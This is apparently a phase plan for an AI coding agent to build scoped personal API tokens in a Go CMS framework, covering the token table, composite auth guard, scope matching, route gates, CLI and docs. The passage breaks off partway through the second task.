- statement: "No new Go or npm dependency; crypto is stdlib only (crypto/rand, crypto/sha256, crypto/subtle)."
status: unresolved
verification: judgment
- statement: "Framework READMEs and docs never name a consuming application; examples use acme and blog."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow. Successor of Apparatus PersonalApiToken; reverses Phase 15 D-15.
This plan's slice (user checkpoint, plan 1 of 4): the whole framework side in summercms.go: the scope capability, the principal scope limit, the `Allows` rewrite, the token table, the composite `backend` guard, the interactive-only marker, the explicit route gates, the published resolver, the account token API with OpenAPI and inventories, the `admin:token:*` CLI with the `summer` delegates, and the module READMEs and docs pages for every API this plan adds (CLAUDE.md: same change).
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC.md exists. CONTEXT D-01 to D-20, the six ROADMAP success criteria and RESEARCH Patterns 1-7 / Pitfalls 1-12 are the source of truth. Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Decisions taken in this plan
Locked-decision readings and Claude's-discretion choices, so executors do not re-decide them:
- **D-03 read literally (honoring the locked text; RESEARCH A2 suggested a per-code union).** A scoped request passes when one method-allowed scope matches every required code and the owner holds a required code inside that scope. For single-code checks (almost every call site) the two readings agree; for a multi-code list the literal reading is stricter. `bouncer.ScopeLimit` therefore keeps one pattern slice per scope, not a union.
- **Scope match table** (`scopeMatch(pattern, required)`, written fresh; `granted()` is not reused for the scope side, RESEARCH Pattern 2):
| required | pattern | result |
|---|---|---|
| exact `a.b.c` | `a.b.c`, `a.b.*`, `a.*` | full |
| exact `a.b.c` | `a.x.*`, `a.b.d` | none |
| wildcard `a.b.*` | `a.b.*`, `a.*` (at least as broad) | full |
| wildcard `a.*` | `a.b.*` or exact `a.b.c` (narrower) | partial via the pattern |
| wildcard `a.b.*` | `a.x.*`, `x.*` | none |
| leading `*.manage` | exact `a.manage` | partial via the pattern |
| leading `*.manage` | any wildcard pattern | none (conservative) |
Owner side: full match needs `ownerHas(required)`, partial match needs `ownerHas(pattern)`, where `ownerHas(x) = IsSuperuser || granted(PermissionGrants, x)`.
- **Overlap rule (D-17):** a plugin scope is offered to (and accepted for) a user when some registered catalog code `c` has a full match in the scope and `ownerHas(c)`. `*` is always offered. `admin:read` is offered when the user is a superuser or holds at least one catalog code (RESEARCH A6).
- **Names (discretion):** `pact.TokenScope`, `pact.HasTokenScopes`; `bouncer.ScopeLimit{Full bool; Scopes [][]string}` and `bouncer.Principal.Scope`; `party.Activated`; `cabana.BackendAPIToken`, `cabana.APITokenPrefix`, `cabana.ResolveBackend`, `cabana.ErrUnauthenticated`, `cabana.ErrTokenScope`; table `backend_api_tokens`; route wrapper `interactiveOnly`; framework scope names `*` and `admin:read` (unexported constants).
- **Storage (discretion):** `scopes` is TEXT holding a JSON array (`lagoon.Jsonable[[]string]`), as the user plugin's token table does. An unknown stored name grants nothing and is listed with `known: false`; a token whose stored scopes are all unknown answers 401 (RESEARCH A4).
- **403 reporting (discretion):** the guard's method refusal and the explicit route gates answer `forbidden` with `details.reason = "token_scope"`; the interactive-only marker answers `forbidden` with `details.reason = "interactive_only"`. Allows-based 403s inside handlers keep today's body (no per-handler change, D-14).
- **Methods must include GET (planner rule for D-05):** every registered scope can then identify itself through `GET /auth/me`, so "always allowed to any valid token" holds without a route exception in the guard.
- **Throttle (discretion):** no new throttle bucket. The format check runs before the indexed lookup, a 160-bit secret cannot be guessed, and the admin API has no per-route throttle today (threat T-16.3-10, accepted).
- **Debounce (discretion):** in-process `sync.Map` gate plus `UPDATE … SET last_used_at = ? WHERE id = ? AND (last_used_at IS NULL OR last_used_at < ?)`.
- **Create contract (RESEARCH open question 3, user-confirmed defaults):** 201; `["*", …]` normalizes to `["*"]`; duplicates removed in order; name trimmed, 1 to 100 runes; `expires` one of `30d`, `90d`, `365d`, `never`, default `90d` when absent.
- **Resolver is Bearer-only (new finding while planning):** the Journal write routes have no CSRF check because they are Bearer-only today; a resolver that also read the `summer_admin` cookie would let a cross-site form drive them. `ResolveBackend` therefore wraps a second, cookie-less `NewBackendJWTGuard`.
- **CLI plugin access (user-confirmed Option A):** `party.Activate` publishes `party.Activated`; the token commands look it up at Run time; `cabana.RuntimeCommands(app)` keeps its signature; host apps only bump versions.
- **Reserved vendor segment (RESEARCH Pitfall 10):** `account` joins `api`, `assets`, `login`, `settings`.
- **OpenAPI regeneration lands here, not in plan 02:** `TestPhase09ContractInventory` reads the committed `admin/openapi/admin.json`, so the routes and the regenerated document must ship in the same change to keep `go test ./...` green; plan 02 consumes the regenerated `schema.d.ts`.
- **Docs example:** scope registration is shown from compiled code, `docs/examples/blog/token_scopes.go` (scopes `blog` and `blog:read`), included by a `src=` fence (RESEARCH Pitfall 12); `plugin.go` is not touched, so the whole-file snippet in `docs/setup/porting-a-plugin.md` stays in sync.
## Interfaces (exact shapes executors build and later plans consume)
- `pact.TokenScope{Name, Label, Description string; Permissions, Methods []string}`; `pact.HasTokenScopes{ TokenScopes() []pact.TokenScope }`.
- `bouncer.ScopeLimit{Full bool; Scopes [][]string}`; `bouncer.Principal` gains `Scope *ScopeLimit` tagged `json:"-"` (nil means unrestricted: a JWT session).
- `party.Activated` is a named `[]party.Plugin` published by `party.Activate` in activation order; read with `app.Lookup[party.Activated]()`.
- `cabana.APITokenPrefix = "g15_"`; `cabana.BackendAPIToken` (columns id, backend_user_id, name, token_hash `json:"-"`, token_hint, scopes, expires_at, last_used_at, revoked_at, revoked_by, created_at, updated_at; `TableName()` is `backend_api_tokens`).
- `cabana.ResolveBackend(app *backpack.App, r *http.Request, cover ...string) (*http.Request, *bouncer.Principal, error)`; sentinel errors `cabana.ErrUnauthenticated`, `cabana.ErrTokenScope` (the internal scope error wraps `ErrTokenScope`, so `errors.Is` works).
- Admin API (under `{backend.uri}/api/v1`, backend guard, all interactive-only, writes also `requireAjax`):
- `GET /account/tokens[?revoked=1]` → 200 `Envelope[[]AdminAPIToken]`
- `POST /account/tokens` body `AdminAPITokenRequest{name, expires, scopes}` → 201 `Envelope[AdminAPITokenCreated]`, 422 details keyed `name`, `expires`, `scopes`
- `DELETE /account/tokens/{id}` → 200 `Envelope[AdminAPIToken]`, 404 `not_found`
- `GET /account/tokens/scopes` → 200 `Envelope[[]AdminAPITokenScope]`
- JSON: `AdminAPITokenScope{name, label, description, read_only, known}`; `AdminAPIToken{id, name, hint (last four characters), scopes []AdminAPITokenScope, created_at, last_used_at|null, expires_at|null, revoked_at|null, expired}`; `AdminAPITokenCreated` = every `AdminAPIToken` field plus `token`.
- swag stubs: `AdminAccountTokens`, `AdminAccountTokenCreate`, `AdminAccountTokenRevoke`, `AdminAccountTokenScopes`.
- Server-side phrase keys (backend::lang.api_tokens.*): `scope_all`, `scope_all_description`, `scope_admin_read`, `scope_admin_read_description`, `name_required`, `name_too_long`, `expires_invalid`, `scopes_required`, `scope_unavailable` (UI-SPEC copy for the six it names; `name_too_long` "The name may have at most 100 characters." / "Nazwa może mieć najwyżej 100 znaków."; `expires_invalid` "Choose a valid expiry." / "Wybierz poprawny termin ważności."). Plan 02 adds the SPA-only keys to the same block.
- CLI: `admin:token:create <identifier> --name <text> --scope <name> [--scope …] [--expires 30d|90d|365d|never|YYYY-MM-DD]` (a date means 00:00 UTC on that day and must be in the future); `admin:token:list [<identifier>] [--revoked]`; `admin:token:revoke <id>`; `admin:token:scopes`.
## Plan sizing note
The user locked four plans and put the whole framework side here, with its READMEs and docs in the same change (CLAUDE.md). Four tasks: a tracer, then three expansions. After revision 1 the estimate is 170k tokens against `workflow.smart_zone_tokens` 100k (about 1.7x; confidence low, uncalibrated, since no completed phase carries actuals). The checker treats this as a warning, never a blocker.
Load reductions (revision 1):
- The context block no longer loads 16.3-RESEARCH.md and 16.3-UI-SPEC.md whole (about 26k tokens together by chars/4). Each task's read_first names the sections it needs, with line ranges, about 12k of reads in total.
- **Seam after Task 2.** Tasks 1-2 are the framework core: scope capability, principal limit, Allows, table, composite guard, gates, resolver and stamp. Tasks 3-4 build the surfaces on top: account API and OpenAPI, CLI, READMEs and docs. Tasks 3 and 4 use Tasks 1-2 only through committed code and the Interfaces section above. Commit Task 2 before starting Task 3. At the start of Task 3, do not re-read the Task 1-2 files whole: list their as-built signatures with `grep -n "^func \|^type \|^var \|^const " modules/cabana/api_tokens.go modules/cabana/token_scopes.go modules/cabana/token_guard.go`, then read only the function bodies Task 3 or 4 changes (`issueAPIToken`, the catalog helpers). Record any name that differs from the Interfaces section for the SUMMARY.
Residual risk, accepted by the user on 2026-10-11 at the plan-phase revision checkpoint (keep four plans, no mid-plan checkpoint):
- One executor context still carries all four tasks. The executor and execute-phase honor only one kind of mid-plan context reset, a checkpoint task. Here that would raise this plan to five tasks, which is the plan checker's blocker threshold. Under this project's config (`human_verify_mode` end-of-phase, `auto_advance` false) it would also stop for a human mid-plan. Moving the docs, the CLI or the API out of this plan would break the user's plan lock and the CLAUDE.md same-change rule.
- Failure mode: quality degrades late, in Task 4 (READMEs and docs pages, 21 files), or the run is interrupted after Task 2's commits.
- Mitigations:
- Tracer-first ordering puts the security-critical core (Tasks 1-2) in the early context.
- Every task commits atomically and has its own verify.
- Task 4's checks are mechanical and catch an unknown identifier, command name or stale snippet: TestDocsTree, docs:build --check and TestDelegateCommandsHelp.
- Plan 03 Task 2 re-checks that every exported identifier this phase added is named in its module README.
- An interrupted run lands in execute-phase's safe_resume_gate (commits present, SUMMARY missing), which stops and offers a manual close-out instead of re-dispatching blindly.
## Source coverage audit (phase-wide)
| Source | ID | Item | Plan | Status |
|---|---|---|---|---|
| GOAL | — | Scoped personal tokens, owner ∩ scope, admin and plugin APIs | 01, 02, 03 | COVERED |
| ROADMAP | SC-1 | backend guard accepts g15_ tokens and the JWT | 01 | COVERED |
| ROADMAP | SC-2 | out-of-scope refused; never beyond owner | 01 (+03 Journal) | COVERED |
| ROADMAP | SC-3 | SPA create/list/revoke, show once; CLI for any user | 01 (API, CLI), 02 (SPA) | COVERED |
| ROADMAP | SC-4 | Journal accepts a Journal-scoped token for writes | 03 | COVERED |
| ROADMAP | SC-5 | READMEs and docs cover token API, scopes, CLI | 01 (framework), 02 (My account), 03 (Journal) | COVERED |
| ROADMAP | SC-6 | unit tests in the last plan | 04 | COVERED |
| CONTEXT | D-01 | pact capability, fail-loud boot | 01 | COVERED |
| CONTEXT | D-02 | read scopes GET/HEAD, 403 before handler | 01 | COVERED |
| CONTEXT | D-03 | several scopes, any one passes, immutable | 01 | COVERED |
| CONTEXT | D-04 | `*`, `admin:read`; Journal `journal`, `journal:read` | 01, 03 | COVERED |
| CONTEXT | D-05 | deny by default; /auth/me always | 01 | COVERED |
| CONTEXT | D-06 | interactive-only marker | 01 | COVERED |
| CONTEXT | D-07 | g15_ + 40 hex, sha256, hint | 01 | COVERED |
| CONTEXT | D-08 | expiry 30/90/365/never, default 90, CLI date | 01, 02 | COVERED |
| CONTEXT | D-09 | soft revoke, hidden by default, no edits | 01, 02 | COVERED |
| CONTEXT | D-10 | owner loaded fresh; reset does not invalidate | 01 | COVERED |
| CONTEXT | D-11 | last_used debounce; list columns | 01, 02 | COVERED |
| CONTEXT | D-12 | framework table in BackendAdminMigrations | 01 | COVERED |
| CONTEXT | D-13 | composite guard, Bearer only, credential | 01 | COVERED |
| CONTEXT | D-14 | scope in principal, Allows intersection | 01 | COVERED |
| CONTEXT | D-15 | resolver; Journal switch; byte-identical bodies | 01, 03 | COVERED |
| CONTEXT | D-16 | SPA panel, own tokens, show once | 02 | COVERED |
| CONTEXT | D-17 | picker overlap rule, server 422 | 01, 02 | COVERED |
| CONTEXT | D-18 | account endpoints, envelope, swag, interactive-only | 01 | COVERED |
| CONTEXT | D-19 | admin:token:* CLI | 01 | COVERED |
| CONTEXT | D-20 | READMEs and docs | 01, 02, 03 | COVERED |
| RESEARCH | Pitfall 1 | superuser shortcut | 01 | COVERED |
| RESEARCH | Pitfall 2 | non-Allows routes gated | 01 | COVERED |
| RESEARCH | Pitfall 3 | ownership branches (Journal) | 03 | COVERED |
| RESEARCH | Pitfall 4 | nil *cabana.Registry in Journal | 01, 03 | COVERED |
| RESEARCH | Pitfall 5 | migration test pins last ID | 01 | COVERED |
| RESEARCH | Pitfalls 6, 7 | CLI scope access, stdout purity | 01 | COVERED |
| RESEARCH | Pitfall 8 | 201 documented | 01 | COVERED |
| RESEARCH | Pitfall 9 | labels translated server-side | 01 | COVERED |
| RESEARCH | Pitfall 10 | reserved `account` segment | 01 | COVERED |
| RESEARCH | Pitfall 11 | Journal throttle keyed by IP (documented, unchanged) | 03 | COVERED |
| RESEARCH | Pitfall 12 | docs snippets from compiled code | 01 | COVERED |
| RESEARCH | Open Q2 | featured-image parity checked against frozen PHP | 03 | COVERED |
| RESEARCH | Open Q5 | framework tag, Journal go.mod, host bumps | 03 | COVERED |
Deferred (not gaps): backend-user management screen and superuser token view, `payment:read`, Fonoteka scopes, checksum token format.
## Artifacts this phase produces (this plan)
- pact: `TokenScope`, `HasTokenScopes`.
- bouncer: `ScopeLimit`, `Principal.Scope`.
- party: `Activated` (published by `Activate`).
- lagoon: migration `202610110001_backend_api_tokens` (table `backend_api_tokens`) in `BackendAdminMigrations`.
- cabana exported: `BackendAPIToken`, `APITokenPrefix`, `ResolveBackend`, `ErrUnauthenticated`, `ErrTokenScope`; OpenAPI types `AdminAPIToken`, `AdminAPITokenScope`, `AdminAPITokenCreated`, `AdminAPITokenRequest`; swag stubs `AdminAccountTokens`, `AdminAccountTokenCreate`, `AdminAccountTokenRevoke`, `AdminAccountTokenScopes`.
- cabana internal: `mintAPIToken`, `hashAPIToken`, `wellFormedAPIToken`, `tokenStore` (interface) and `gormTokenStore`, `compositeGuard` and `newCompositeGuard`, `scopeError`, `tokenScopeCatalog`, `compileTokenScopes`, `compileTokenCatalog`, `scopeMatch`, `allowsUnderScope`, `scopeCoversAll`, `scopeOverlaps`, `validateTokenRequest`, `issueAPIToken`, `parseTokenExpiry`, `revokeAPIToken`, `stampLastUsed`, `interactiveOnly`, `tokenRouteGate`, `backendResolver`; handlers `accountTokensList`, `accountTokenCreate`, `accountTokenRevoke`, `accountTokenScopes`; CLI funcs `adminTokenCreate`, `adminTokenList`, `adminTokenRevoke`, `adminTokenScopes`.
- Routes: `GET`/`POST /account/tokens`, `DELETE /account/tokens/{id}`, `GET /account/tokens/scopes`.
- CLI commands: `admin:token:create`, `admin:token:list`, `admin:token:revoke`, `admin:token:scopes` (app binary) and their `summer` delegates.
- Phrase keys `backend::lang.api_tokens.{scope_all, scope_all_description, scope_admin_read, scope_admin_read_description, name_required, name_too_long, expires_invalid, scopes_required, scope_unavailable}` (en, pl).
- Smoke tests: `TestTokenTracerSmoke`, `TestTokenGatesSmoke` (Docker-free); `TestTokenTracerPostgres`, `TestAccountTokensSmoke`, `TestTokenCommandsSmoke` (Docker host); `TestActivatePublishesPlugins` (party).
- Docs: `docs/examples/blog/token_scopes.go` (`blog`, `blog:read`), new sections in the five docs pages, README updates in five modules.
<objective>
Build the framework side of personal API tokens with scopes (D-01 to D-15, D-17 to D-20 server half): scope registration, the scope-limited principal and Allows, the token table and composite guard, interactive-only and route gates, the published resolver, the account token API with OpenAPI, the CLI, and the docs.
Purpose: every backend-authenticated request can run as a token's owner, limited by the token's scopes, and plugins (plan 03) and the SPA (plan 02) build on these exact names.
Output: the files above, regenerated admin OpenAPI and TS types, smoke tests, updated READMEs and docs pages.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-PATTERNS.md
16.3-RESEARCH.md and 16.3-UI-SPEC.md are not loaded whole (context budget, see Plan sizing note): each task's read_first names the sections it needs with line ranges; read only those ranges.
Docker: the cabana auth, account, command and conformance suites, the lagoon migration suites and the Journal admin harness use testcontainers Postgres. When `docker info` fails, run the Docker-free verify lines, record every Postgres verify line as NOT RUN in the SUMMARY (they fail rather than skip by design), and plan 03's release gate lists them (16.2 pattern). Another session may edit `modules/` concurrently: stage files by explicit path and check `git status` before each commit. Commits: no co-author tags, one logical change per commit, code and planning docs in separate commits.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: a g15_ token with a plugin scope reaches an admin controller as its owner, and an out-of-scope controller refuses it</name>
<reversibility rating="costly">D-07 (rated one-way in CONTEXT, format fixed by the human) becomes irreversible only when issued tokens reach agent configs after the release; that door is gated by the 16.3-03 release checkpoint, which carries the one-way rating. Until then a format change is a code edit across this phase.</reversibility>
<files>modules/pact/capabilities.go, modules/bouncer/context.go, modules/lagoon/backend_admin_migrations.go, modules/lagoon/backend_admin_migrations_test.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/token_guard.go, modules/cabana/contracts.go, modules/cabana/registry.go, modules/cabana/messages.go, modules/cabana/http.go, modules/cabana/export_test.go, modules/cabana/token_smoke_test.go, modules/cabana/token_postgres_smoke_test.go</files>
<read_first>modules/pact/capabilities.go (Permission and HasPermissions, ~:495-506), modules/bouncer/context.go, modules/bouncer/guard.go, modules/bouncer/registry.go (Middleware :73-113), modules/bouncer/jwt.go (NewBackendJWTGuard :94, Authenticate :106, extractToken :273), modules/cabana/http.go (Activate :73-185, lazyBackendUsers, writeUnauthenticated), modules/cabana/auth.go (BackendUsers.FindByID :40-69, principalFrom, logAuth :374), modules/cabana/contracts.go (Allows :186, granted :203-235, BackendUser), modules/cabana/registry.go (compileContributions :168-288, permissionCode, validatePermissions, permissionExists, rolePermissions), modules/cabana/messages.go (validateMessageKeys :300-330), modules/lagoon/backend_admin_migrations.go, modules/lagoon/backend_admin_migrations_test.go (:516-600, rollbackBackendAdmin :443-452), modules/lagoon/jsonable.go, modules/wristband/crypto.go (:26-31), modules/cabana/export_test.go, modules/cabana/auth_test.go (adminGorm :321, adminHandler :367, insertAdmin, demoPlugin :433-470), ../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go, ../sm-summercmsio-app/plugins/golem15/user/classes/api_tokens.go, 16.3-RESEARCH.md Patterns 1, 2 and 6 (:216-316, :381-415), Pitfalls 1 and 5 (:460-464, :479-483) and the Code Examples (:505-589: mint and hash, debounced last_used_at, migration entry)</read_first>
<action>Wire one path through every layer: pact registration → boot compile → migration → token row → composite guard → scope-limited principal → Allows → handler.
pact (per D-01): add `TokenScope` (Name, Label, Description, Permissions, Methods) and `HasTokenScopes` next to `Permission`/`HasPermissions`, with one-line doc comments in the same style; Label and Description are phrase keys or literal text.
bouncer (per D-14): add `ScopeLimit` (`Full bool`, `Scopes [][]string`) and the `Scope *ScopeLimit` field on `Principal` tagged `json:"-"`; document that nil means unrestricted and that only a token guard sets it, already filtered by request method. Nothing else in bouncer changes.
lagoon (per D-12): append migration `202610110001_backend_api_tokens` to `BackendAdminMigrations` with the DDL from RESEARCH "Migration entry" (CREATE TABLE IF NOT EXISTS, BIGSERIAL id, `backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE`, `token_hash CHAR(64) NOT NULL UNIQUE`, `token_hint TEXT NOT NULL`, `scopes TEXT NOT NULL`, nullable expires_at/last_used_at/revoked_at TIMESTAMPTZ, `revoked_by INTEGER REFERENCES backend_users(id) ON DELETE SET NULL`, created_at/updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), plus an index on backend_user_id; rollback drops the table). Extend the doc comment above `BackendAdminMigrations`. In the same commit fix `TestBackendAdminMetadataColumn` (RESEARCH Pitfall 5): assert the history ends with `202610110001_backend_api_tokens` and contains the metadata ID, and roll back both newest entries before checking that the metadata column is gone; add backend_api_tokens to the table list `TestPhase09MigrationsFreshRollback` checks after a full rollback.
cabana model and crypto (api_tokens.go, per D-07): `APITokenPrefix`, `BackendAPIToken` (gorm tags as the user plugin's model, `Scopes lagoon.Jsonable[[]string]`, `TokenHash` tagged `json:"-"`), `mintAPIToken` (20 bytes from crypto/rand, lowercase hex, sha256 hex, last four characters as hint), `hashAPIToken`, `wellFormedAPIToken` (exactly g15_ plus 40 of 0-9a-f), and a minimal internal `issueAPIToken` that inserts a row for an owner with given scopes and expiry and returns the plaintext once (Task 3 adds name/expiry/overlap validation to this same function). Add a test-only exporter in export_test.go (for example `IssueTestAPIToken`) so external Postgres tests can mint a token before the HTTP API exists.
cabana scopes (token_scopes.go, per D-01, D-03, D-04, D-05, D-14): `tokenScopeCatalog` holding the ordered compiled scopes (framework `*`: every method, full; `admin:read`: GET and HEAD, full; then plugin scopes in plugin activation order) and a by-name map; `compileTokenScopes(reg, plugins)` called in Activate right after `compileContributions`, storing the catalog on the Registry, failing boot with `cabana: …` errors for every rule in the D-01 truth above (name pattern `^[a-z][a-z0-9_-]*(:[a-z][a-z0-9_-]*)?$`, reserved `*`/`admin`/`admin:…`, duplicates naming both plugin IDs, empty lists, methods limited to GET, HEAD, POST, PUT, PATCH, DELETE in upper case and required to contain GET, permissions via `permissionCode(code, true)` and `reg.permissionExists`, non-empty label and description). Extend `validateMessageKeys` (or add a sibling called at the same place in Activate) so a label or description containing `::` must resolve in the published translator. Write `scopeMatch` exactly per the match table in this plan and `allowsUnderScope(p, required)` per the D-03 literal reading: empty list false; otherwise true when some slice in p.Scope.Scopes matches every required code (full or partial) and some required code is owner-held inside it (full match: ownerHas(code); partial: ownerHas(pattern)). Do not reuse `granted()` for the scope side.
Allows (contracts.go, per D-14 and D-05, RESEARCH Pitfall 1): when `principal.Scope != nil && !principal.Scope.Full`, return `allowsUnderScope` before the IsSuperuser and empty-list shortcuts; the full and nil paths keep today's code byte for byte. Update the doc comment.
Composite guard (token_guard.go, per D-13, D-02, D-08 to D-10): `compositeGuard` implements `bouncer.CredentialGuard` and `bouncer.UnauthorizedWriter` (compile-time assertions as in the user plugin's guard). It reads the Authorization header; only a `Bearer ` value starting with `APITokenPrefix` takes the token branch, every other request returns the wrapped JWT guard's `Authenticate` result unchanged. Token branch: refuse a value that is not well formed before touching the database; look the hash up through a small internal `tokenStore` interface (production `gormTokenStore` over the app's `*gorm.DB`: `revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now)`), compare the fetched hash with `crypto/subtle.ConstantTimeCompare`; load the owner through the same `bouncer.UserProvider` the JWT guard uses (`lazyBackendUsers{app, reg}`; nil principal → 401; tokens_valid_after is not consulted); method-filter the stored scopes through the catalog (unknown names ignored; no known scope → 401; known scopes but none allowing r.Method → a `scopeError` wrapping `ErrTokenScope`); set `principal.Scope` (Full when any allowed scope is full, else one pattern slice per allowed scope); return the token row as the credential. `WriteUnauthorized` answers 403 `forbidden` with `details.reason` token_scope for a `scopeError` and `writeUnauthenticated` (401) for anything else; say in a comment that this writer also answers 403. Log failures as `admin.auth` events with outcome and admin_id/token_id when known, never the header, plaintext or hash. Declare `ErrUnauthenticated` and `ErrTokenScope` here.
Activate (http.go): build the existing JWT guard unchanged, wrap it with `newCompositeGuard(jwtGuard, store, users, reg)` and register the composite under `backend` (owner check unchanged).
Tests (smoke only; full coverage is plan 04): `TestTokenTracerSmoke` (package cabana, Docker-free): a catalog with scopes `demo` (acme.demo.*, every method) and `demo:reports` (acme.demo.reports, GET and HEAD), an in-memory `tokenStore`, a stub `UserProvider` returning a developer principal granted acme.demo.access and acme.demo.reports, the composite guard registered in a `bouncer.Registry` and its middleware around a handler that answers 200 when `Allows(principal, ["acme.demo.access"])` and 403 otherwise: a `demo` token GET → 200; a `demo:reports` token GET → 403 (out of scope although the grants allow it); the same token POST → 403 with reason token_scope; a superuser principal with `demo:reports` → 403; a malformed `g15_x` → 401; a Bearer JWT string goes to the stub JWT guard untouched. `TestTokenTracerPostgres` (cabana_test, Docker host): the adminHandler harness with a test plugin that adds permission acme.demo.reports (developer role) and the two scopes; mint through the test exporter for a developer admin; GET the widgets list with a `demo` token → 200, with a `demo:reports` token → 403, POST with `demo:reports` → 403 token_scope; then soft-delete the admin and the `demo` token → 401.</action>
<verify>
<automated>go vet ./modules/pact ./modules/bouncer ./modules/lagoon ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestTokenTracerSmoke|TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
<fails_when>Non-zero exit: vet fails in one of the four packages, or fewer than four "--- PASS: Test" lines (the tracer smoke failed, or the existing route inventories broke).</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^TestTokenTracerPostgres$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestTokenTracerPostgres' &amp;&amp; go test -count=1 -run '^(TestBackendAdminMetadataColumn|TestPhase09MigrationsFreshRollback)$' -v ./modules/lagoon 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), no "--- PASS: TestTokenTracerPostgres" line, or fewer than two passing lagoon migration tests (the migration or the updated last-ID test is wrong).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "HasTokenScopes interface" modules/pact/capabilities.go` and `grep -n "Scope \*ScopeLimit" modules/bouncer/context.go` each print one line.
- `grep -c "202610110001_backend_api_tokens" modules/lagoon/backend_admin_migrations.go modules/lagoon/backend_admin_migrations_test.go` reports at least 1 for each file.
- `grep -n "allowsUnderScope" modules/cabana/contracts.go` prints a line that comes before the line containing `principal.IsSuperuser || len(required) == 0` (scope first).
- `grep -n "ConstantTimeCompare" modules/cabana/token_guard.go modules/cabana/api_tokens.go` prints at least one line.
- The Docker-free verify passes; the Postgres verify passes on a Docker host or is recorded NOT RUN.
</acceptance_criteria>
<done>A g15_ token minted for a backend user authenticates through the composite backend guard, runs as its owner and is limited by its method-filtered scopes in Allows, with the JWT path unchanged.</done>
</task>
<task type="auto">
<name>Task 2: Deny by default outside Allows: interactive-only marker, explicit route gates, the published ResolveBackend, and the debounced last_used_at stamp</name>
<reversibility rating="costly">D-13/D-14: every backend-authenticated route now passes through the composite guard and scope rules; undoing it touches every route classification.</reversibility>
<files>modules/cabana/token_guard.go, modules/cabana/api_tokens.go, modules/cabana/http.go, modules/cabana/auth.go, modules/cabana/field_type.go, modules/cabana/field_markdown.go, modules/cabana/registry.go, modules/cabana/token_smoke_test.go</files>
<read_first>modules/cabana/token_guard.go and modules/cabana/api_tokens.go (Task 1), modules/cabana/http.go (mount :222-345, Activate guard block), modules/cabana/csrf.go (requireAjax, csrfSafe), modules/cabana/auth.go (refresh :255, logout :295, sessionToken :323, me :338, bearerToken :362, adminBlacklist :395), modules/cabana/field_type.go (fieldTypesList :864), modules/cabana/field_markdown.go (markdownPreview :71), modules/cabana/registry.go (reservedVendorSegments :44, checkReservedSegments), modules/cabana/contracts.go (WriteErrorDetails), ../sm-journal-plugin/controllers/api/auth.go (the current Bearer-only guard the resolver replaces in plan 03), 16.3-RESEARCH.md Patterns 3 and 4 (:317-363), Pitfalls 2, 3, 4 and 10 (:465-478, :496-498), "Debounced last_used_at" (:535-553) and assumption A3 (:603)</read_first>
<action>Make D-05 and D-06 hold on routes that never call Allows, and publish the D-15 resolver.
Interactive-only (per D-06): `interactiveOnly(next)` answers 403 `forbidden` with `details.reason` interactive_only when the request credential is a `*BackendAPIToken`, or when the raw Authorization Bearer value starts with `APITokenPrefix` (the routes outside the guard). In mount wrap PUT /account, POST and DELETE /account/avatar (outside requireAjax, so the refusal comes first) and POST /auth/refresh and POST /auth/logout, so a g15_ Bearer never reaches refresh or logout (no cookie expiry, no blacklist write). Task 3 wraps the four token routes the same way. GET /auth/me stays unwrapped (D-05).
Route gates (per D-05, RESEARCH Pitfall 2 and assumption A3): `tokenRouteGate` refuses a principal whose Scope is non-nil and not Full with 403 `forbidden`, reason token_scope (the same answer as `Allows(principal, nil)` refusing); call it at the top of `fieldTypesList` and `markdownPreview` after the principal check. `/navigation` and `/settings` already filter every item through Allows and stay as they are.
Reserved segment (RESEARCH Pitfall 10): add `account` to `reservedVendorSegments` and to the boot error's reserved list text.
Resolver (per D-15, RESEARCH Pattern 3 and Pitfall 4): in Activate, after the backend guard is registered, build a second composite guard around a cookie-less `NewBackendJWTGuard(secret, users, bl, nil)` (same users, same blacklist, same registry and catalog) and publish it as `*backendResolver` with `app.Publish`, keeping an already-published one when Activate runs twice on one app (as the guard registration does). `ResolveBackend(app, r, cover...)`: no app, no published resolver or no Bearer value → `ErrUnauthenticated`; otherwise authenticate through the resolver's guard; a scope error → `ErrTokenScope`; any other failure → `ErrUnauthenticated`; for a token principal that is not Full, require `scopeCoversAll(principal.Scope, cover)` (some scope slice matches every cover code, full or partial) or return `ErrTokenScope`; on success return the request carrying `bouncer.WithUser` and, for a token, `bouncer.WithCredential`. The resolver never reads the admin cookie (Journal's write routes have no CSRF check). Document in the doc comment that routes registered before Activate must call it per request.
last_used_at (per D-11): `stampLastUsed` as in RESEARCH "Debounced last_used_at" (process-wide sync.Map keyed by token id, one-minute window, UPDATE of last_used_at only with the conditional WHERE), called by the composite guard after a successful token authentication on both the guard and resolver paths; an error is logged with `slog.Default().WarnContext` and token_id and never fails the request.
